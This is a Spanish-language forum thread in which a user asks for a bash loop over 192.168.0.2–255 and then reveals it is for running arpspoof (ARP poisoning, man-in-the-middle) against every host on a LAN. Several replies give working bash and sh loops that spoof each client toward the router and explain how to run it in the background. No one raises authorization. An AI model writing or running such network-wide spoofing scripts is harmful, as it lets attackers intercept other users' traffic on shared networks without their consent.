Crear variable en bash

Iniciado por .:UND3R:., 3 Abril 2011, 18:24 PM

0 Miembros y 1 Visitante están viendo este tema.

.:UND3R:.

Bueno Hola a todos espero que estén bien, les cuento tengo un comando que útilizo en linux es más o menos así

xxxxxx 192.168.0.1

el problema surge que me gustaria para poder facilitar mi trabajo crear un variable más o menos así

xxxxxx 192.168.0.X

en donde X=son numeros desde el 1 hasta el 255

creo que es algo demasiado facil, pero no sé nada de .sh si pudieran tenderme solo esa mano se los agradeceria Muchas gracias :D

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

leogtz

Mira, te pongo de ejemplo el siguiente sencillo script.

Código (bash) [Seleccionar]
#!/bin/bash
echo -e "Argumento : $1";


Y ahora, si queremos pasarle como parámetros los números del 1 al 254:


Código (bash) [Seleccionar]
for i in `seq 1 1 254`; do bash shell.sh $i; done

Código (bash) [Seleccionar]
for((i = 1; i < 254; i++)) do bash shell.sh $i; done

Siendo shell.sh el script de arriba y $i la variable que le paso.

Cualquier duda me dices y lo aclaramos más.
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

.:UND3R:.

Muchas gracias por tu rápida respuesta :)
1)todo bien pero sabes cuando lo ejecuto me sale solo argumento:1 hacia abajo y no cambia la variable
2)otra cosa que significa echo -e y si quiero lanzar un comando debe ir el echo con -e

Muchas gracias :D

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

leogtz

Mejor pon el contenido del script que quieres ejecutar.
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

.:UND3R:.

#4
CitarPerfecto, 1ero que todo darte las gracias por que los demás moderadores no son así  ;-)
tu ayudas, no me sugieres google ni aprender a codear sin darme una solución xD
Bueno creo que el código que necesito podrá ser de ayuda para muchos
el comando que necesito ejecutar es una herramienta del pack dsniff:
el comando realiza un envenenamiento de ARP (man in the midle) pero seria mucho más comodo que el comando cubriera todas las conexiones por decirlo de un modo.
el comando a seguir es:

arpspoof -i interface -t ipdecliente ipdelrouter

en mi caso sería así

arpspoof -i wlan0 -t 192.168.0.102 192.168.0.1

el problema surge en que la ipdelcliente se puede enviar una sola, siendo lo ideal desde 2 hasta 255 (192.168.0.x) x=2 hasta 255

*al ejecutarse tal programa la consola en que se lanzó queda inutilizable, ya que está constantemente mostrandonos un msj en resumen que nos afirma que se está realizando tal comando, por lo que seria óptimo para su funcionamiento del script que se pudiera ejecutar tales ordenes en terminales distintas aunque por preferencia que fuera en solapas distintas

Bueno de alguna manera te plasmo la idea para que me entiendas mejor, no se codear pero dejemos que mi idea es un esquema :D

Citarx=2
PASO1
si x=255 ir a PASO2
ejecutar en una nueva consola este comando:
arpspoof -i wlan0 -t 192.168.0.x 192.168.0.1
x=se le suma +1 del valor anterior de x
ir a PASO1
PASO2
Terminar el script

Con palabras:

la idea es que se abra una consola nueva con este comando
arpspoof -i wlan0 -t 192.168.0.x 192.168.0.1
en donde x parte como dos y luego tres,cuatro así sucesivamente hasta llegar hasta 255 luego de eso se termina el script

ya no sabría como explicártelo :B
espero que lo entiendas,disculpa por complicarte por no saber codear
Gracias


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

leogtz

Mira, podríamos usar algo sencillito como esto:

Código (bash) [Seleccionar]
#!/bin/bash
for((i = 2; i < 255; i++))
do
arpspoof -i wlan0 -t 192.168.0.$i 192.168.0.1
done


y eso ejecutarlo en modo background para que no te deje indispuesta la consola.


[leo@archero Desktop]$ cat shell.sh
#!/bin/bash
for((i = 2; i < 255; i++))
do
echo arpspoof -i wlan0 -t 192.168.0.$i 192.168.0.1
done
[leo@archero Desktop]$ bash shell.sh &


bash shell.sh &
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

D4RIO

Hola bikutoru123, hola Leo:

AFAIK, el bucle 'for' que propones no es portable, aunque no creo que importe dependiendo el linux para el que se quiera. Incluso el comando seq no se haya en muchos Unixes.

Pongo una alternativa para bucles que me ha funcionado en AIX 5.2 y con varios shells. No es nada raro, se trata de meter Perl:

Código (bash) [Seleccionar]
#!/bin/sh
for X in $(perl -e 'foreach (2..255){print $_,"\n";}'); do

    arpspoof -i wlan0 -t 192.168.0.$X 192.168.0.1

done


Hasta se podría meter en una funcion seq() en los shells que no lo tienen.

Saludos
OpenBSDFreeBSD

leogtz

Sí, también puedes usar la solución de xD4RIOx, su equivalente en bash es:

Código (bash) [Seleccionar]
#!/bin/bash
for X in `echo {2..254}`; do
    arpspoof -i wlan0 -t 192.168.0.$X 192.168.0.1
done
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

.:UND3R:.

#8
Excelente, me funcionó a la perfección, pondré una entrada del arpspoff en mi blog dandole poniendo sus créditos obviamente, excelente amigos sigan así
PD: me quedó una pequeña duda... para ejecutarlo en modo background es agregandole el símbolo $

EJ: Bash shell.sh $

En fin es Muchas gracias :D

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

leogtz

Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com